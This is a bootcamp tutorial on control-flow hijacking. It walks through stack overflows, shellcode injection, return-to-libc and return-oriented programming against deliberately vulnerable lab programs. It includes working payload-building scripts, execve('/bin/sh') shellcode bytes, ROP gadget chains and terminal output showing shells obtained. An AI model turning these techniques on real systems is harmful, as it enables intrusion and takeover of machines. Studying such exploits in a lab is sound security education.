Control-Flow Hijacking and modern Exploit methods

1. Abstract

Control-Flow Hijacking is a class of attacks which derails a given program's legitimate control flow, hijacks it to take control of the system - all with the help of a vulnerability. It all started with a Buffer Overflow vulnerability(BOF) and its side-effects - the fact that it gives an attacker control of the Instruction Pointer. The Shellcode Injection exploit was one of the first exploits to successfully take advantage of BOF. It "injects" valid machine code into stack and executes it by jumping to the location where it is stored. It exploits the fact that the stack is executable.Then comes the Return-to-Libc attack which is a step ahead of the traditional Shellcode Injection attack. It does not require an executable stack. All it needs is a vulnerability like BOF and the C Library (libc) to be mapped into the process's virtual address layout. This attack creates fake stack-frames and runs any libc function. Executing certain functions will conveniently give the attacker the control of the system. 2 protection mechanisms called W^X and ASLR are administered. Shellcode Injection attack is made impossible because stacks are made non-executable by default with W^X. Even if the stack is executable, ASLR makes sure the stack is mapped at random addresses everytime the program is executed - so that it becomes hard to jump to the location where the injected machine code is stored. In later versions of ASLR, even libraries were mapped at random addresses each time - so Return-to-Libc attack also became hard. Then comes the breakthrough attack - Return Oriented Programming (ROP). It targets the W^X protection mechanism and breaks it successfully. It does not require libc, does not require an executable stack. All it needs is an executable code segment with considerable amount of machine code - which is common in almost all programs. It reuses the code present in the program to take control of the system. Finally, in 2014 the SigReturn Oriented Programming (SROP) is published. It identifies a mind-blowing vulnerability in the way UNIX-like systems handle signals and exploits it. It is much easier, efficient and effective relative to ROP. In this bootcamp training, we will be going through this wonderful journey of Control-Flow Hijacking attacks starting from what a Buffer Overflow vulnerability is till SigReturn Oriented Programming. We will end the discussion with going over a few protection mechanisms published recently.

2. Introduction

All the sourcecode, binaries, exploits are present in this repository.

One of the first Control-Flow Hijacking attacks seen was with the Morris worm(Sourcecode) in 1988. It exploited a Buffer Overflow vulnerability(BOF) in a network service. It was just the beginning. Today, even after 33 years, Control-Flow Hijacking is an attack technique which is very much alive in the software world and in academics - thanks to the large number of BOF-style vulnerabilities and other internal vulnerabilities present in software.

2.1 Nature of Control-Flow Hijacking

Control-Flow Hijacking is not a single attack. It is a class of attacks where each one attempts to hijack the legitimate control flow laid down by the compiler and achieve an objective. BOF-style

vulnerabilities enable these attacks. They are simply enablers. What makes this class of attacks special is that each attack first takes advantage of a BOF-style vulnerability and later goes on to exploit one or more new vulnerabilities in the system. The innovation lies in identifying this second vulnerability and exploiting it to achieve an objective - generally the objective is to take control of the system. This is the unique nature of these attacks.

Assume that there is a BOF present in the program.

2.2 Shellcode Injection

The Shellcode Injection attack seen in the early 1990s is probably the first such Control-Flow Hijacking attack. It writes valid machine code into stack/heap and actually executes the written/injected machine code. It ofcourse takes advantage of the BOF. But it goes on to exploit another vulnerability/fault in the system: The fact that the process had an executable stack/heap. Any content in the stack/heap can be executed as if it were machine code. If a stack buffer actually had valid machine code, then one should be able to execute that machine code without hurdles.

Best thing to do to defend against this attack is to make stack/heap non-executable. Stack/heap regions are present only to hold data and thus need not be executable - it should just be readable/writable.

2.3 Ret2Libc

This Return-to-Libc attack first surfaced in 1997. This attack does not require an executable stack - it works even with a non-executable stack. All it requires is a BOF-style vulnerability to hijack control flow and then a C library (libc) mapped into the process's virtual address layout. This attack exploits the fact that the system does not check if a stack frame is created by compiler generated code or the stack frame is simply injected into the stack with the help of BOF. Fake stack frames with legitimate return-address, legitimate arguments etc., can be created and then the jump is made to the target libc function. What can a libc function do? It depends on the function. There are many functions useful to the attacker like `execve` - this can be used to spawn a new shell. It can also use functions like `mprotect` to make any address space executable (stack!) and can enable the traditional Shellcode Injection attack.

2.4 W^X and ASLR

How could one defend against such an attack? Can you hide libc? Not really because normal, legitimate code heavily depends on libc. In the early 2000s, 2 interesting protections mechanisms were administered in most of the systems - UNIX-like and Windows. First one being W^X or Data Execution Prevention(DEP) and second is Address Space Layout Randomization (ASLR).

W^X simply makes stack and heap non-executable. It also makes code segment non-writable. Basically, wherever one can write, one should not be able to execute and vice versa. This way, one can only inject code somewhere but can never execute it. This effectively defends systems and programs against the Shellcode Injection type attacks. But note that Return-to-Libc has the capacity to make the stack executable and enable traditional Shellcode Injection type attacks. So what needs to be done?

Enter ASLR. ASLR started off as a mechanism which simply randomizes the stack's virtual address - basically place the stack in different virtual addresses everytime the program is run. This way, finding the location where the injected code is present becomes harder, thereby somewhat defending against Shellcode Injection. Later, it was extended to libraries which are mapped to the process's virtual address layout. These libraries are placed at a random address everytime the program is run - which makes Return-to-Libc attack harder. Return-to-Libc requires an attacker to know the exact virtual address of the function he wants to execute. If the attacker does not have that, then the attack is rendered useless.

2.5 ROP

In 2007, a fantastic Control-Flow Hijacking attack was published. It is called Return Oriented Programming(ROP). It aims to break and defeat the W^X protection mechanism. It successfully breaks it and actually has potential to do much more. In certain cases, it is unaffected by ASLR - even if ASLR is present, an ROP exploit may go through. All it requires is a readable/executable code segment with a considerable amount of code in it and ofcourse the BOF. It does not require an executable stack, it does not require libc or any of the libraries.

With ROP, the attacker can executable essentially any system call. With that kind of freedom, virtually anything can be achieved by the attacker.

It exploits the "loose" relationship between the `call` and `ret` instructions. Whenever control is transferred from one instruction to another through a branch instruction (jmp, call, ret, jne, jg, jge etc.,), the legitimacy of the branch is **never** checked. Is the branch intended to happen - is it according to the code laid out by the compiler or it is illegitimate, malicious branches happening. The system doesn't seem to be bothered about it.

ROP changed the entire perception towards Control-Flow Hijacking attacks. After ROP was published, a number of its variants were published - Jump Oriented Programming(JOP), Blind Oriented Programming(BROP) etc., Each of them attempted to exploit a new vulnerability in the way ROP did, exploited the same vulnerability in a different way or simply made ROP more efficient.

2.6 SROP

In 2014, a mind-blowing Control-Flow Hijacking attack called the SigReturn Oriented Programming(SROP) was published. It is extremely different from what has been done before.

It identifies and exploits a new vulnerability. It is a vulnerability present in the way signals are handled in UNIX-like systems. Relative to ROP, this exploit is easier, efficient and effective.

2.7 Gist and Contents

Each attack exploits a new vulnerability. When that vulnerability is patched up, a new attack exploits yet another new vulnerability. This is a never ending process I believe. In this bootcamp training, we will be going through this journey in complete detail - starting from BOF till SROP. We will be going over the above few sections in the same order but with full of practicals. We will understand every word in the above subsections through practical examples. We will end the discussion with a few interesting protection mechanisms published in recent times.

The following are the contents of the rest of the paper:

Section (3) would describe the experimental setup and example programs which would be used throughout the training. Section (4) discusses the Stack Overflow vulnerability in brief. Section (5) explores the Shellcode Injection attack in detail. Section (6) would talk about Return-to-Libc attack. Section (7) explores the ROP. Section (8) discusses the SROP attack. Section (9) talks a bit about a few security mechanisms designed to defend against these attacks.

The following is the estimated timeline of the training.

1. Assuming that this is a 2-day training with 8 hours in each day.
2. In the first half of first day, an introduction to basic experiemental setup would be given along with an introduction to BOF-style vulnerabilties.
3. In the second half of first day, we will be discussing Shellcode Injection and Ret2Libc attacks.
4. In the first half of the second day, we explore Return Oriented Programming in good detail.
5. In the second half of the second day, we would be glancing over SROP and ideas behind a few new security mechanisms.

All the sourcecode, binaries, exploits are present in this repository.

3. Experimental Setup

3.1 Setting up the environment

3.1.1 Operating System

1. We will be experimenting in an Ubuntu 18.04 environment. You can download the **Desktop Image** from Ubuntu downloads page.
2. Ubuntu can be run in a VirtualBox. You can download it from Oracle's download page.
3. Please follow these instructions and install Ubuntu in the VirtualBox.
4. Turn off ASLR. This makes experimentation easier. Please execute the following command as root.

```
# echo 0 > /proc/sys/kernel/randomize_va_space
```

With 0, you disable ASLR completely.

3.1.2 Download the repository

All the code required for the session is present in a github repository here. Download it in the following manner.

```
$ git clone https://github.com/adwait1-G/bof-and-exploits
```

3.1.3 Installing dependencies

There are a few tools which we will be using throughout the training. They are listed in the **install.sh**. Execute it and install and those tools.

4. Stack Overflow vulnerability & Control-Flow Hijacking

Stack Overflow vulnerability is a type of BOF where the buffer is present in the stack. If an input whose length is greater than the buffer size is copied into the buffer, that is called a Stack Overflow - the input has overflown the buffer. Presence of such a vulnerability has dangerous consequences. Let us take an example.

For this section, we will be using the contents present in the **sof/** directory.

4.1 SOF

4.1.1 Basics

Consider the program **sof.c**.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_shell()
{
    execve("/bin/sh", NULL, NULL);
}
```

```c
void echo()
{
    char buffer[100] = {0};

    printf("Enter a string: ");
    fflush(stdout);

    gets(buffer);
    fflush(stdin);

    printf("%s\n", buffer);
    fflush(stdout);
}

int main()
{
    printf("Before echo()\n");
    fflush(stdout);

    echo();

    printf("After echo()\n");
    fflush(stdout);

    return 0;
}
```

This sourcefile was compiled in the following manner.

```
seccon-bootcamp/sof$ gcc sof.c -o sof -fno-stack-protector -no-pie
```

This disables a few things which enables our experimentation.

It is a simple echo program. It will request for an input and it will output whatever was entered. But notice that there is another function `get_shell` - which is not used anywhere in the program. It is not called anywhere. That is the challenge: `get_shell` function has to be called somehow. Note that the `get_shell()` function which uses `execve` to give a shell/console.

How can that be done?

Notice the `echo()` function carefully. It is using the `gets()` function. The following is from `gets`'s manpage.

```
Bugs
Never use gets(). Because it is impossible to tell without knowing the data in
advance how many characters gets() will read, and because gets() will continue
to store characters past the end of the buffer, it is extremely dangerous to use.
It has been used to break computer security.
```

Looks like there is a problem with `gets`. The problem is that `gets` never checks the length of the input given. Whatever input is given to it, it will silently copy into the buffer provided - irrespective of the input length. What repurcussions does this have? Can we hijack the control-flow using this?

To get a better idea, let us take a look at the stack contents of the `echo()` function.

```
<buffer (100 bytes)><Some other data (if any)><Return-Address (8 bytes)>
```

If the input length is 100 bytes, it would fit perfectly into the buffer. Nothing is corrupted/harmed. Assume that there is 32 bytes of some other data. So if the input length is 123 bytes, 23 bytes of other variables will be **corrupted** - this might seriously affect the program. Suppose that the input length is 132 bytes. This way, the buffer is filled completely and other data/variables are completely overwritten. But with `gets()`, you do not have to stop there. You can give longer inputs. What happens (say) if you give an input of length 136 bytes?

The last 4 bytes of the input overwrites 4 bytes of the Return-Address. Please note that the Return-Address is the information used to go back to the **caller** once this function is done executing. Idea is that control is simply transferred to the Return-Address. In other words, an unconditional jump is executed to the Return-Address. But what happens when it is corrupted?

The program is most likely to crash. Or if even after corrupting it yields a valid virtual address, then we will execute the contents present at that virtual address. The program is most likely to crash.

Note that we just spoke about corrupting it. But the key is that the Return-Address can be overwritten with **any value/address**. What if we as attacker deliberately give a valid virtual address? What address do we want to jump to? What was our initial objective?

4.1.2 Exploit

Our initial objective was to execute the `get_shell()` function. Let us see if we could jump to that function by overwriting the Return-Address with `get_shell()`'s address. By reading through the program's assembly code, the following information is gathered.

1. `get_shell()`'s address: 0x00000000400687
2. The stack-frame of `echo()` is as follows:

   `<buffer (100 bytes)><padding+other data (20 bytes)><Return-Address (8 bytes)>`

Now, it is clear what our input should be. The first 120 bytes could be anything - because we do not care about it. It should simply fill the `buffer` and padding+other data. Then the next 8 bytes is `get_shell()`'s address - 0x00000000400687. Totally, our input will be 128 bytes in size. Let us generate such an input string and store it in a file. Let us write a short python script to generate the input.

```
def exploit():

    # Junk
    payload = b'\x41' * 120

    # Ovrwrite the function's Return-Address with get_shell's address
    payload += pack('<Q', 0x0000000000400687)     # get_shell's address

    return payload
```

This is then written into a file **payload.txt**.

```
if __name__ == '__main__':

    payload = exploit()
    fo = open('payload.txt', 'wb')
    fo.write(payload)
    fo.close()
```

Please refer to **sof/exploit.py**. Let us execute the script and get the payload.

```
seccon-bootcamp/sof$ chmod u+x exploit.py
seccon-bootcamp/sof$ ./exploit.py
```

With that, our **payload** is ready. Let us input it into our program and see if we get the console.

```
seccon-bootcamp/sof$ cat payload.txt - | ./sof
Before echo()
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?@

ls
payload.txt sof sof.c
whoami
agautham
```

And we got a shell.

4.1.3 Hijacking the control-flow

The **only** legitimate control-flow was to **return back** to `main()` from `echo()`. In normal scenarios, this is the only way out - there is no other way. But because of the SOF present thanks to `gets()` C function, the control-flow was derailed successfully. We were able to jump to the function we wanted. In other words, the **control-flow** was **hijacked** and we executed whatever we wanted. We had full control over where to jump.

5. Shellcode Injection

By using a SOF, can arbitrary code be executed?

5.1 Executable Stack

5.1.1 Basics

Consider the following program.

```
seccon-bootcamp/shellcode$ cat shellcode.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void execute_mc()
{
    char buffer[500] = {0};
    void (*executemc)() = NULL;

    printf("Enter machine code ");
    fflush(stdout);

    read(0, buffer, sizeof(buffer));
    fflush(stdin);
    executemc = buffer;

    executemc();
}
```

```
int main()
{
    printf("Before execute_mc()\n");
    execute_mc();
    printf("After execute_mc()\n");
    return 0;
}
```

You should compile the above program in the following manner.

```
seccon-bootcamp/shellcode$ gcc shellcode.c -o shellcode -zexecstack
```

The `-zexecstack` will generate a executable whose's stack would have executable permissions when it is run. That is what we are experimenting in this section.

This program has a function called `execute_mc()`. it takes in user input and stores it in `buffer`. Then through the line `executemc=buffer`, we store the `buffer`'s adress in a function pointer. Then that function is executed - `executemc()`. What does this mean?

Any content in the `buffer` is **executed**. But what does it actually mean? If I enter a simple string "aaaaa", what does it mean to execute it? Can a string be executed? The input for a processor is simply a stream of bytes. When the compiler lays down those bytes, they will be valid machine code. When we try to "run" the string "aaaaa", it simply means we are trying to run the bytes "0x41 0x41 0x41 0x41 0x41". Is this valid machine code? We could check that quickly using this online disassembler. According to it, these are not valid machine code - this means the program is likely to crash if we force it to execute the string "aaaaa". Let us confirm that.

```
seccon-bootcamp/shellcode$ ./shellcode
Before execute_mc()
Enter machine code aaaaa
Illegal instruction (core dumped)
```

It gave an **Illegal instruction** error and the process was killed. This was expected.

What if we give some valid machine code?

5.1.2 Running exit(1)

Let us start with something very simple. Let us run the `exit(1)` system call. Every system call is simply a bunch of assembly instructions put together. First, let us write an assembly program which simply executes the `exit(1)` system call.

```
seccon-bootcamp/shellcode$ cat exit.S
section .text
    global _start

_start:
    mov rax, 60 ; exit's system call number
    mov rdi, 1  ; First argument
    syscall     ; Request the OS
```

It loads `exit`'s system call number into register `rax`. It loads the argument '1' into the first argument register `rdi`. Then requests the OS to run the system call using the `syscall` instruction. Let us assemble, link and run this program.

```
seccon-bootcamp/shellcode$ nasm exit.S -f elf64
seccon-bootcamp/shellcode$ ld exit.o -o exit
```

```
seccon-bootcamp/shellcode$ ./exit
seccon-bootcamp/shellcode$
```

Nothing significant happened. Nothing is supposed to happen. It is just supposed to exit. Let us use **strace** tool to double check.

```
seccon-bootcamp/shellcode$ strace ./exit
execve("./exit", ["./exit"], 0x7fffffffe050 /* 55 vars */) = 0
exit(1)
+++ exited with 1 +++
```

That confirms it. The process took birth with `execve`. Then it simply executed `exit(1)` system call and died.

This program works properly. It means it has valid machine code. Let us extract it. Let us **disassemble** it.

```
seccon-bootcamp/shellcode$ objdump -Mintel -D exit

exit:   file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:    b8 3c 00 00 00      mov eax,0x3c
  400085:    bf 01 00 00 00      mov edi,0x1
  40008a:    0f 05               syscall
```

And we have the machine code. It is 12 bytes long. Let us store this machine code in a file **payload.txt**.

```
seccon-bootcamp/shellcode$ python -c "print '\xb8\x3c\x00\x00\x00\xbf\x01\x00\x00\x00\x0f\x05'"
> payload.txt
```

Now that we have the machine code, let us input it to our **shellcode** program and see what happens. Because this machine code is of `exit(1)`, when we run it using our **shellcode** program, we should see the program getting terminated because of this machine code.

```
seccon-bootcamp/shellcode$ ./shellcode < payload.txt
Before execute_mc()
Enter machine code seccon-bootcamp/shellcode$
```

If you closely notice, we had another string "After execute_mc()" which was supposed to get printed after running the machine code. But it never got printed. Why is that? It is because `exit(1)` system call was executed and the process was killed.

5.1.3 Can we get a shell?

To kill a program, we used `exit(1)` system call. What should we use to get a shell? We can use `execve("/bin/sh", NULL, NULL)` to get it. Writing C code is easy - it is a simple call. But here, the challenge is to write an assembly program and extract the machine code from it. The following is the assembly program.

```
seccon-bootcamp/shellcode$ cat execve.S
section .text
    global _start
_start:
    mov rax, 0x0068732f6e69622f ; "/bin/sh", 0x00
```

```
    push rax    ; Push the string onto stack
    mov rax, 59 ; execve's system call number
    mov rdi, rsp    ; Stack pointer points to "/bin//sh"
    mov rsi, 0  ; NULL
    mov rdx, 0  ; NULL
    syscall     ; Request OS
```

It essentially amounts to calling `execve("/bin/sh", NULL, NULL)`. Let us assemble, link and run it.

```
seccon-bootcamp/shellcode$ nasm execve.S -f elf64
seccon-bootcamp/shellcode$ ld execve.o -o execve
seccon-bootcamp/shellcode$ ./execve
$
$ whoami
agautham
```

This code seems to work. Let us disassemble it and extract the machine code from it.

```
seccon-bootcamp/shellcode$ objdump -Mintel -D execve

execve:   file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:   48 b8 2f 62 69 6e 2f    movabs rax, 0x68732f6e69622f
  400087:   73 68 00
  40008a:   50                      push   rax
  40008b:   b8 3b 00 00 00          mov    eax,0x3b
  400090:   48 89 e7                mov    rdi,rsp
  400093:   be 00 00 00 00          mov    esi,0x0
  400098:   ba 00 00 00 00          mov    edx,0x0
  40009d:   0f 05                   syscall
```

Let us load this machine code into **payload.txt**.

```
seccon-bootcamp/shellcode$ python -c "print '\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00
\x50\xb8\x3b\x00\x00\x00\x48\x89\xe7\xbe\x00\x00\x00\x00\xba\x00\x00\x00\x00\x0f\x05'"
> payload.txt
```

Let us input it to our program. Ideally, we should get the shell.

```
seccon-bootcamp/shellcode$ cat payload.txt - | ./shellcode
Before execute_mc()
Enter machine code

whoami
agautham
uname
Linux
hostname
agbox
```

And we got a console.

5.2 SOF and Injection

We get a **shell** from machine code. Hence the name **shellcode**.

Think about it, no one would write a program like **shellcode.c** which would directly take user input and run it as valid machine code. As we observed in the above subsection, one could get a shell if such a program is written.

Now consider a vulnerable program **sof.c** which we used in the previous section. Recompile it in the following manner to suit our experimentation in this section.

```
seccon-bootcamp/shellcode$ gcc sof.c -o sof -fno-stack-protector -zexecstack -no-pie
```

It disables 2 features. It also makes the stack executable - which is what we are exploring.

There are 2 ways:

1. Store the shellcode in the buffer and then jump to it.
2. Store the shellcode as an environment variable and then jump to it.

6. Return-to-Libc

For this one attack, let us use 32-bit binaries instead of 64-bit.

6.1 Creating fake stack-frames

Consider 2 functions: The caller and the callee. Whenever the caller `calls` the callee, the Return-Address is pushed onto the stack and then control is transferred to the callee's first instruction. Once the callee is done running, it cleans up its stack-frame, pops the Return-Address and jumps to that Return-Address. That Return-Address is nothing but the address of an instruction in the caller function - this instruction which is present right next the `call callee` instruction.

We have seen in Section (4) that with the help of a SOF, we could jump to any function we want to. We simply overwrote the Return-Address with the function's address we wanted to and that was it - the `ret` instruction would simply transfer the control to that function. But what if the function had arguments? How do we pass arguments to that function during an illegitimate control transfer? Consider the following program. It is a modified version of **sof.c** - call it **sof2.c**.

```
#include <stdio.h>
#include <stdlib.h>

void print_nums(unsigned long int num1, unsigned long int num2)
{
    printf("print_num's num1: 0x%lx, num2: 0x%lx\n", num1, num2);
}

void echo()
{
    char buffer[100] = {0};

    printf("Enter a string: ");
    fflush(stdout);

    gets(buffer);
    fflush(stdin);
```

```
    printf("%s\n", buffer);
    fflush(stdout);
}

int main()
{
    printf("Before echo()\n");
    fflush(stdout);

    echo();

    printf("After echo()\n");
    fflush(stdout);

    return 0;
}
```

It was compiled in the following manner to generate a 32-bit binary.

```
seccon-bootcamp/ret2libc$ gcc sof2.c -o sof2 -fno-stack-protector -no-pie -m32
```

Our challenge is to execute the `print_nums()` function and to pass 2 numbers as arguments. How do we do that?

6.1.1 Arguments and Return-Address

We are specifically talking about 32-bit binaries here.

Whenever control is transferred to the callee (the new function), the stack would look like the following just before even the first instruction is executed. This is the callee's view of the stack.

```
|   Return-Address    |
|   Argument 1        |
|   Argument 2        |
|   .                 |
|   .                 |
|   Argument n        |
```

This is how the stack is **presented** to the callee. The callee **expects** the stack to be like this and like this only. There are strict rules governing this.

6.1.2 Building the exploit

With SOF, we could overwrite the Return-Address with whatever contents we want. Similarly, can't we control what is sent as Arguments? Certainly. Note that arguments are right next to the Return-Address. So if we can control the Return-Address, we can certainly control the Arguments.

In our example **sof2.c**, we have a function we want to call and it takes two arguments. From an exploit point of view, the stack should look like this:

```
<buffer (100 bytes)><Some other data (if any)><print_nums's address (4 bytes)>
<print_nums's Return-Address><Argument 1(4 bytes)><Argument 2(4 bytes)>
```

By going through the assembly code, the following are the details gathered.

1. Amount of junk required: 112 bytes
2. `print_nums`'s address: 0x080484f6

Where should `print_nums()` return to once it is done? Let us use a dummy return address for it - 0x41414141. And let us take first argument to be 0x11111111 and second to be 0x22222222. Let us write a script to generate the input payload. Consider **ret2libc/exploit.py**. Let us write a python function `print_nums` which generates the payload.

Let us start with the junk.

```
def print_nums():

    # Junk
    payload = b'\x41' * 112
```

Then in the stack comes `print_nums`'s address. This is going to overwrite `echo()` Return-Address. The address is 0x080484f6.

```
    # 1. Overwrite echo's Return-Address with print_nums' address
    payload += pack('<I', 0x080484f6)   # print_nums' address
```

Where should `print_nums` return to? Let us add a dummy address for now.

```
    # 2. Where will print_nums return to?
    payload += pack('<I', 0xdeadbeef)   # Some dummy address
```

Now comes the arguments. First, we place the argument1 and then the second.

```
    # Arguments
    payload += pack('<I', 0x11111111)   # num1
    payload += pack('<I', 0x33333333)   # num2
```

That will generate the payload. Then this payload is written into the file **ret2libc/payload.txt**. Let us run the script to get this payload file.

```
seccon-bootcamp/ret2libc$ ./exploit.py
```

We have the payload ready. Let us input that into the vulnerable program and see what happens.

```
seccon-bootcamp/ret2libc$ ./sof2 < payload.txt
Before echo()
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?????3333
print_nums's num1: 0x11111111, num2: 0x33333333
Segmentation fault (core dumped)
```

`print_nums()` got executed, but then the program crashed. This is probably because the return address is some dummy value 0xdeadbeef.

6.2 Jumping to libc

In the above example, we executed a function which we wrote. Can we execute a function present in libc? If you think about it, there is no much difference between a function we write and one that is part of libc. Both are present in the process's layout, both expect arguments in the same way.

6.2.1 Running exit(1)

Again, we are back to our exercise of executing `exit(1)`, this time by calling the **libc** function. It is a simple function - takes just 1 argument. This is how our exploit would look like:

```
<Junk (112 bytes)><exit's libc address (4 bytes><exit's return address (4 bytes)>
<Argument 1 (4 bytes)>
```

According to the rules, `exit()` would also require a return address, but we know that `exit()` never returns - it simply kills the program.

1. Using **gdb**, `exit()`'s libc address = 0xf7e0c4b0
2. Let us use 0xdeadbeef as `exit()`'s return address.
3. We will execute `exit(1)`. So argument = 1.

Let us write a python function named `exit()` which will contain code to generate the input payload.

First comes the junk.

```
def exit():

    # Junk
    payload = b'\x41' * 112
```

Then comes the `exit()` libc function's address. This will overwrite the `echo()` function's Return-Address.

```
    # 1. Overwrite echo's Return-Address with exit()'s address
    payload += pack('<I', 0xf7e0c4b0)       # exit's libc address from gdb
```

Then comes `exit`'s dummy return-address.

```
    # 2. What after exit?
    payload += pack('<I', 0xdeadbeef)       # Some dummy address
```

Finally, the argument. There is only 1 argument to `exit()`.

```
    # 3. Argument
    payload += pack('<I', 1)                # exit(1)
```

With that, we are ready with the payload. Write it into a file **payload.txt** and generate it by running the exploit script. Let us run the program with the input payload.

```
seccon-bootcamp/ret2libc$ ./sof2 < payload.txt
Before echo()
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa????????
```

The program didn't crash. It exited peacefully. But how do we confirm that our exploit has worked? There are indications and proofs.

1. The `After echo()` string never got printed. The program exited before that.
2. **ltrace** is a tool which will list all the library functions executed by a program. We can run it on our **sof2** and check. `seccon-bootcamp2/ret2libc$ ltrace ./sof2 < payload.txt __libc_start_main(0x80485bf, 1, 0xffffd1d4, 0x8048640 <unfinished ...> puts("Before echo()"Before echo()) = 14 fflush(0xf7fb4d80) = 0 printf("Enter a string: ") = 16 fflush(0xf7fb4d80Enter a string:) = 0 gets(0xffffd0ac, 0xf7fe4fc8, 0x804828b, 0x8048534) = 0xffffd0ac fflush(0xf7fb45c0) = 0 puts("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) = 122 fflush(0xf7fb4d80) 0 +++ exited (status 1) +++`
3. We can use **strace** tool as well.
4. **gdb** can be used to confirm it.

6.2.2 Getting a shell

The final part of this section is to build an exploit which fetches a shell. For that, we can use the `execve` call. We need to find the following:

1. `execve()`'s libc address
2. Address of the string "/bin/sh"

Using **gdb**, we can get these details.

1. `execve()`'s libc address: 0xf7e9b5a0
2. "/bin/sh"'s address: 0xf7f5a0af. Luckily, we found this string in libc itself.

Now, let us build the exploit. This is how it would look:

```
<Junk (112 bytes)><execve's libc address (4 bytes)><execve's return address (4 bytes)>
<Argument 1 (/bin/sh's address)(4 bytes)><Argument 2 (NULL)(4 bytes)><Argument 3 (NULL)(4 bytes)>
```

Let us write a python function named `execve` and write code to generate the payload. First, the junk.

```python
def execve():

    # Junk
    payload = b'\x41' * 112

    # 1. Overwrite echo's Return-Address with execve's address
    payload += pack('<I', 0xf7e9b5a0)           # execve's libc address from gdb
```

Next comes `execve` libc function's address.

```python
    # 2. What after execve?
    payload += pack('<I', 0xdeadbeef)           # Some dummy address
```

Then comes the dummy address.

```python
    # 2. What after execve?
    payload += pack('<I', 0xdeadbeef)           # Some dummy address
```

Finally, the arguments.

```python
    # Arguments
    # 1. First one: Fortunate that libc has "/bin/sh" string in it
    payload += pack('<I', 0xf7f5a0af)           # "/bin/sh"'s libc address
    payload += pack('<I', 0)                    # NULL
    payload += pack('<I', 0)                    # NULL
```

Then run the script to get the payload in a file **payload.txt**.

```
seccon-bootcamp/ret2libc$ cat payload.txt - | ./sof2
Before echo()
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa????????????

whoami
agautham
uname
Linux
hostname
agbox
```

That is how you Return-to-Libc.

7. Return Oriented Programming (ROP)

ROP is also a code-reuse attack like Return-to-Libc. It doesn't require new code to be injected unlike the traditional Shellcode method. It tries to use whatever code is present in the process to achieve the objective. Before getting into ROP, let us see how to Return-to-Libc works in 64-bit binaries.

7.1 64-bit Ret2Libc

7.1.1 64-bit arguments

There is a reason why we are discussing Ret2Libc for 32-bit and 64-bit architectures separately. The way function calls work in the 2 architectures are drastically different. In 32-bit, the arguments for a function are pushed onto the stack - as we saw in the previous section. But in 64-bit, the first few arguments are loaded in registers. If the registers are not enough, then rest of the arguments are pushed onto the stack. In AMD64, the first **6** arguments to into registers `rdi`, `rsi`, `rdx`, `rcx`, `r8` and `r9`. If there are more than 6 arguments, then the rest of the arguments are pushed onto the stack.

We would do the following:

1. Understand how arguments are loaded into registers in 64-bit programs. Use **rop/args64.c**.
2. Use **gdb** to inspect the registers.

Example program to be used: **rop/sof3.c**.

```
seccon-bootcamp/rop$ gcc sof3.c -o sof3 -fno-stack-protector -no-pie
```

7.1.2 Finding 'gadgets'

1. Meaning of a 'gadget'. Exploring the ROPgadget tool. We can generate the gadgets in the following manner.

```
seccon-bootcamp/rop$ ROPgadget --binary sof3 > sof3.rop.obj
```

That will dump all the 'gadgets' into that file. Let us see how a few gadgets which do some work.

This gadget can be used to load **any** value into the **rdi** register.

```
0x0000000000400773 : pop rdi ; ret
```

If we want to load some value into `rsi`, we can use the following:

```
0x0000000000400771 : pop rsi ; pop r15 ; ret
```

If the above is executed, `r15` also gets populated with some value, but we don't have to bother about it.

We can find similar gadgets with different registers to load values into them. In our examples, we would mostly use these simple gadgets.

7.1.3 Executing exit(1) libc function

At C language level, a simple `exit(1);` statement is enough to run the libc function. For us to do the same at assembly level, more work needs to be done. We are going one step beyond that - we are trying to execute using gadgets. This will require even more work from our side.

First of all, we should load the argument into `rdi` register. Which gadget will help us do that? We have to search for something like `pop rdi; ret` or `xor rdi, rdi; ret`, `add rdi, 1; ret` or similar combination which gets the job done. Let us search for it.

`0x00000000004006a6 : pop rdi ; ret`

Once we execute this, only thing left is to jump to the libc function.

Now, let us write a python function to generate the payload.

Start with the junk.

```
def exit_libc():

    # Junk
    payload = b''
    payload += b'\x41' * 120
```

Then comes the `rdi` gadget.

```
   # Gadgets

    # 1. A gadget which can load '1' into 'rdi'
    payload += pack('<Q', 0x0000000000400773)   # pop rdi ; ret
    payload += pack('<Q', 1)                    # 1 - argument
```

Finally, the address were we need to jump - `exit`'s libc address.

```
    # 2. Once argument is ready, we have to jump
    payload += pack('<Q', 0x00007ffff7a25240)   # exit's libc address
```

Write the payload into a file and run it against `sof3` executable.

7.1.4 execve("/bin/sh", NULL, NULL)

This is similar to running `exit` libc function. But this requires a bit more work - we need to load more stuff into registers. The following should be the steps we need to take.

1. Find `/bin/sh`'s virtual address - 0x00007ffff7b95e1a
2. Find a gadget to load `/bin/sh`'s address into `rdi` - 0x0000000000400773
3. Find a gadget to load `0` into `rsi` - 0x0000000000400771
4. Find a gadget to load `0` into `rdx`.
5. Find `execve()`'s virtual address - 0x00007ffff7ac6c00
6. Chain them on the stack and run.

Use **gdb** to find (1) and (5). We have already found out (2) and (3) in the above sub-sections. Now, finding a gadget to load **0** into `rdx` is left.

